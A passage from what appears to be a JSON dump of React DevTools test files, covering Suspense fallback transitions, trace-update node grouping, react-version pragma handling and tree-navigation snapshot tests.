),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 4. Verify we can update from each step to each step in fallback mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <X />\n                  <Y />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <Y />\n                  <X />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <MaybeSuspend suspend={true}>\n                  <X />\n                  <Y />\n                </MaybeSuspend>\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 5. Verify we can update from each step to each step when moving primary -> fallback.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 6. Verify we can update from each step to each step when moving fallback -> primary.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={true}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={false}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={true}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 7. Verify we can update from each step to each step when toggling Suspense.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n\n        // We get ID from the index in the tree above:\n        // Root, X, Suspense, ...\n        //          ^ (index is 2)\n        const suspenseID = store.getElementIDAtIndex(2);\n\n        // Force fallback.\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n\n        // Stop forcing fallback.\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n\n        // Trigger actual fallback.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n\n        // Force fallback while we're in fallback mode.\n        await act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        // Keep seeing fallback content.\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n\n        // Switch to primary mode.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Fallback is still forced though.\n        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);\n\n        // Stop forcing fallback. This reverts to primary content.\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        // Now we see primary content.\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/traceUpdates-test.js",
    "content": "import {groupAndSortNodes} from 'react-devtools-shared/src/backend/views/TraceUpdates/canvas';\n\ndescribe('Trace updates group and sort nodes', () => {\n  test('should group nodes by position without changing order within group', () => {\n    const nodeToData = new Map([\n      [\n        {id: 1},\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#80b393',\n          displayName: 'Node1',\n          count: 3,\n        },\n      ],\n      [\n        {id: 2},\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#63b19e',\n          displayName: 'Node2',\n          count: 2,\n        },\n      ],\n    ]);\n\n    const result = groupAndSortNodes(nodeToData);\n\n    expect(result).toEqual([\n      [\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#80b393',\n          displayName: 'Node1',\n          count: 3,\n        },\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#63b19e',\n          displayName: 'Node2',\n          count: 2,\n        },\n      ],\n    ]);\n  });\n\n  test('should sort groups by lowest count in each group', () => {\n    const nodeToData = new Map([\n      [\n        {id: 1},\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#97b488',\n          displayName: 'Group1',\n          count: 4,\n        },\n      ],\n      [\n        {id: 2},\n        {\n          rect: {left: 100, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group2',\n          count: 1,\n        },\n      ],\n      [\n        {id: 3},\n        {\n          rect: {left: 200, top: 0, width: 100, height: 100},\n          color: '#63b19e',\n          displayName: 'Group3',\n          count: 2,\n        },\n      ],\n    ]);\n\n    const result = groupAndSortNodes(nodeToData);\n\n    expect(result).toEqual([\n      [\n        {\n          rect: {left: 100, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group2',\n          count: 1,\n        },\n      ],\n      [\n        {\n          rect: {left: 200, top: 0, width: 100, height: 100},\n          color: '#63b19e',\n          displayName: 'Group3',\n          count: 2,\n        },\n      ],\n      [\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#97b488',\n          displayName: 'Group1',\n          count: 4,\n        },\n      ],\n    ]);\n  });\n\n  test('should maintain order within groups while sorting groups by lowest count', () => {\n    const nodeToData = new Map([\n      [\n        {id: 1},\n        {\n          rect: {left: 0, top: 0, width: 50, height: 50},\n          color: '#97b488',\n          displayName: 'Pos1Node1',\n          count: 4,\n        },\n      ],\n      [\n        {id: 2},\n        {\n          rect: {left: 0, top: 0, width: 60, height: 60},\n          color: '#63b19e',\n          displayName: 'Pos1Node2',\n          count: 2,\n        },\n      ],\n      [\n        {id: 3},\n        {\n          rect: {left: 100, top: 0, width: 70, height: 70},\n          color: '#80b393',\n          displayName: 'Pos2Node1',\n          count: 3,\n        },\n      ],\n      [\n        {id: 4},\n        {\n          rect: {left: 100, top: 0, width: 80, height: 80},\n          color: '#37afa9',\n          displayName: 'Pos2Node2',\n          count: 1,\n        },\n      ],\n    ]);\n\n    const result = groupAndSortNodes(nodeToData);\n\n    expect(result).toEqual([\n      [\n        {\n          rect: {left: 100, top: 0, width: 70, height: 70},\n          color: '#80b393',\n          displayName: 'Pos2Node1',\n          count: 3,\n        },\n        {\n          rect: {left: 100, top: 0, width: 80, height: 80},\n          color: '#37afa9',\n          displayName: 'Pos2Node2',\n          count: 1,\n        },\n      ],\n      [\n        {\n          rect: {left: 0, top: 0, width: 50, height: 50},\n          color: '#97b488',\n          displayName: 'Pos1Node1',\n          count: 4,\n        },\n        {\n          rect: {left: 0, top: 0, width: 60, height: 60},\n          color: '#63b19e',\n          displayName: 'Pos1Node2',\n          count: 2,\n        },\n      ],\n    ]);\n  });\n\n  test('should handle multiple groups with same minimum count', () => {\n    const nodeToData = new Map([\n      [\n        {id: 1},\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group1Node1',\n          count: 1,\n        },\n      ],\n      [\n        {id: 2},\n        {\n          rect: {left: 100, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group2Node1',\n          count: 1,\n        },\n      ],\n    ]);\n\n    const result = groupAndSortNodes(nodeToData);\n\n    expect(result).toEqual([\n      [\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group1Node1',\n          count: 1,\n        },\n      ],\n      [\n        {\n          rect: {left: 100, top: 0, width: 100, height: 100},\n          color: '#37afa9',\n          displayName: 'Group2Node1',\n          count: 1,\n        },\n      ],\n    ]);\n  });\n\n  test('should filter out nodes without rect property', () => {\n    const nodeToData = new Map([\n      [\n        {id: 1},\n        {\n          rect: null,\n          color: '#37afa9',\n          displayName: 'NoRectNode',\n          count: 1,\n        },\n      ],\n      [\n        {id: 2},\n        {\n          rect: undefined,\n          color: '#63b19e',\n          displayName: 'UndefinedRectNode',\n          count: 2,\n        },\n      ],\n      [\n        {id: 3},\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#80b393',\n          displayName: 'ValidNode',\n          count: 3,\n        },\n      ],\n    ]);\n\n    const result = groupAndSortNodes(nodeToData);\n\n    expect(result).toEqual([\n      [\n        {\n          rect: {left: 0, top: 0, width: 100, height: 100},\n          color: '#80b393',\n          displayName: 'ValidNode',\n          count: 3,\n        },\n      ],\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/transform-react-version-pragma-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst semver = require('semver');\n\nlet shouldPass;\nlet isFocused;\ndescribe('transform-react-version-pragma', () => {\n  const originalTest = test;\n\n  // eslint-disable-next-line no-unused-vars\n  const _test_react_version = (range, testName, cb) => {\n    originalTest(testName, (...args) => {\n      shouldPass = !!semver.satisfies('18.0.0', range);\n      return cb(...args);\n    });\n  };\n\n  // eslint-disable-next-line no-unused-vars\n  const _test_react_version_focus = (range, testName, cb) => {\n    originalTest(testName, (...args) => {\n      shouldPass = !!semver.satisfies('18.0.0', range);\n      isFocused = true;\n      return cb(...args);\n    });\n  };\n\n  // eslint-disable-next-line no-unused-vars\n  const _test_ignore_for_react_version = (testName, cb) => {\n    originalTest(testName, (...args) => {\n      shouldPass = false;\n      return cb(...args);\n    });\n  };\n\n  beforeEach(() => {\n    shouldPass = null;\n    isFocused = false;\n  });\n\n  // @reactVersion >= 17.9\n  it('reactVersion flag is on >=', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @reactVersion >= 18.1\n  it('reactVersion flag is off >=', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @reactVersion <= 18.1\n  it('reactVersion flag is on <=', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @reactVersion <= 17.9\n  it('reactVersion flag is off <=', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @reactVersion > 17.9\n  it('reactVersion flag is on >', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @reactVersion > 18.1\n  it('reactVersion flag is off >', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @reactVersion < 18.1\n  it('reactVersion flag is on <', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @reactVersion < 17.0.0\n  it('reactVersion flag is off <', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @reactVersion = 18.0\n  it('reactVersion flag is on =', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @reactVersion = 18.1\n  it('reactVersion flag is off =', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  /* eslint-disable jest/no-focused-tests */\n\n  // @reactVersion >= 18.1\n  it.only('reactVersion fit', () => {\n    expect(shouldPass).toBe(false);\n    expect(isFocused).toBe(true);\n  });\n\n  // @reactVersion <= 18.1\n  it.only('reactVersion test.only', () => {\n    expect(shouldPass).toBe(true);\n    expect(isFocused).toBe(true);\n  });\n\n  // @reactVersion <= 18.1\n  // @reactVersion <= 17.1\n  it('reactVersion multiple pragmas fail', () => {\n    expect(shouldPass).toBe(false);\n    expect(isFocused).toBe(false);\n  });\n\n  // @reactVersion <= 18.1\n  // @reactVersion >= 17.1\n  it('reactVersion multiple pragmas pass', () => {\n    expect(shouldPass).toBe(true);\n    expect(isFocused).toBe(false);\n  });\n\n  // @reactVersion <= 18.1\n  // @reactVersion <= 17.1\n  it.only('reactVersion focused multiple pragmas fail', () => {\n    expect(shouldPass).toBe(false);\n    expect(isFocused).toBe(true);\n  });\n\n  // @reactVersion <= 18.1\n  // @reactVersion >= 17.1\n  it.only('reactVersion focused multiple pragmas pass', () => {\n    expect(shouldPass).toBe(true);\n    expect(isFocused).toBe(true);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/treeContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof ReactTestRenderer from 'react-test-renderer';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\nimport type {\n  DispatcherContext,\n  StateContext,\n} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('TreeListContext', () => {\n  let React;\n  let TestRenderer: ReactTestRenderer;\n  let bridge: FrontendBridge;\n  let store: Store;\n  let utils;\n  let withErrorsOrWarningsIgnored;\n\n  let BridgeContext;\n  let StoreContext;\n  let TreeContext;\n\n  let dispatch: DispatcherContext;\n  let state: StateContext;\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    withErrorsOrWarningsIgnored = utils.withErrorsOrWarningsIgnored;\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n    TestRenderer = utils.requireTestRenderer();\n\n    BridgeContext =\n      require('react-devtools-shared/src/devtools/views/context').BridgeContext;\n    StoreContext =\n      require('react-devtools-shared/src/devtools/views/context').StoreContext;\n    TreeContext = require('react-devtools-shared/src/devtools/views/Components/TreeContext');\n  });\n\n  const {render, unmount, createContainer} = getVersionedRenderImplementation();\n\n  afterEach(() => {\n    // Reset between tests\n    dispatch = ((null: any): DispatcherContext);\n    state = ((null: any): StateContext);\n  });\n\n  const Capture = () => {\n    dispatch = React.useContext(TreeContext.TreeDispatcherContext);\n    state = React.useContext(TreeContext.TreeStateContext);\n    return null;\n  };\n\n  const Contexts = () => {\n    return (\n      <BridgeContext.Provider value={bridge}>\n        <StoreContext.Provider value={store}>\n          <TreeContext.TreeContextController>\n            <Capture />\n          </TreeContext.TreeContextController>\n        </StoreContext.Provider>\n      </BridgeContext.Provider>\n    );\n  };\n\n  describe('tree state', () => {\n    it('should select the next and previous elements in the tree', () => {\n      const Grandparent = () => <Parent />;\n      const Parent = () => (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // Test stepping through to the end\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n        →        <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n        →        <Child>\n      `);\n\n      // Test stepping back to the beginning\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n        →        <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // Test wrap around behavior\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n        →        <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n    });\n\n    it('should select child elements', () => {\n      const Grandparent = () => (\n        <React.Fragment>\n          <Parent />\n          <Parent />\n        </React.Fragment>\n      );\n      const Parent = () => (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_CHILD_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_CHILD_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n        →        <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // There are no more children to select, so this should be a no-op\n      utils.act(() => dispatch({type: 'SELECT_CHILD_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n        →        <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n    });\n\n    it('should select parent elements and then collapse', () => {\n      const Grandparent = () => (\n        <React.Fragment>\n          <Parent />\n          <Parent />\n        </React.Fragment>\n      );\n      const Parent = () => (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      const lastChildID = store.getElementIDAtIndex(store.numElements - 1);\n\n      // Select the last child\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: lastChildID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n        →        <Child>\n      `);\n\n      // Select its parent\n      utils.act(() => dispatch({type: 'SELECT_PARENT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n        →    ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // Select grandparent\n      utils.act(() => dispatch({type: 'SELECT_PARENT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // No-op\n      utils.act(() => dispatch({type: 'SELECT_PARENT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      const previousState = state;\n\n      // There are no more ancestors to select, so this should be a no-op\n      utils.act(() => dispatch({type: 'SELECT_PARENT_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toEqual(previousState);\n    });\n\n    it('should clear selection if the selected element is unmounted', async () => {\n      const Grandparent = props => props.children || null;\n      const Parent = props => props.children || null;\n      const Child = () => null;\n\n      utils.act(() =>\n        render(\n          <Grandparent>\n            <Parent>\n              <Child />\n              <Child />\n            </Parent>\n          </Grandparent>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      // Select the second child\n      utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 3}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n        →        <Child>\n      `);\n\n      // Remove the child (which should auto-select the parent)\n      await utils.actAsync(() =>\n        render(\n          <Grandparent>\n            <Parent />\n          </Grandparent>,\n        ),\n      );\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →      <Parent>\n      `);\n\n      // Unmount the root (so that nothing is selected)\n      await utils.actAsync(() => unmount());\n      expect(state).toMatchInlineSnapshot(``);\n    });\n\n    it('should navigate next/previous sibling and skip over children in between', () => {\n      const Grandparent = () => (\n        <React.Fragment>\n          <Parent numChildren={1} />\n          <Parent numChildren={3} />\n          <Parent numChildren={2} />\n        </React.Fragment>\n      );\n      const Parent = ({numChildren}) =>\n        new Array(numChildren)\n          .fill(true)\n          .map((_, index) => <Child key={index} />);\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n\n      const firstParentID = ((store.getElementIDAtIndex(1): any): number);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: firstParentID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_NEXT_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child 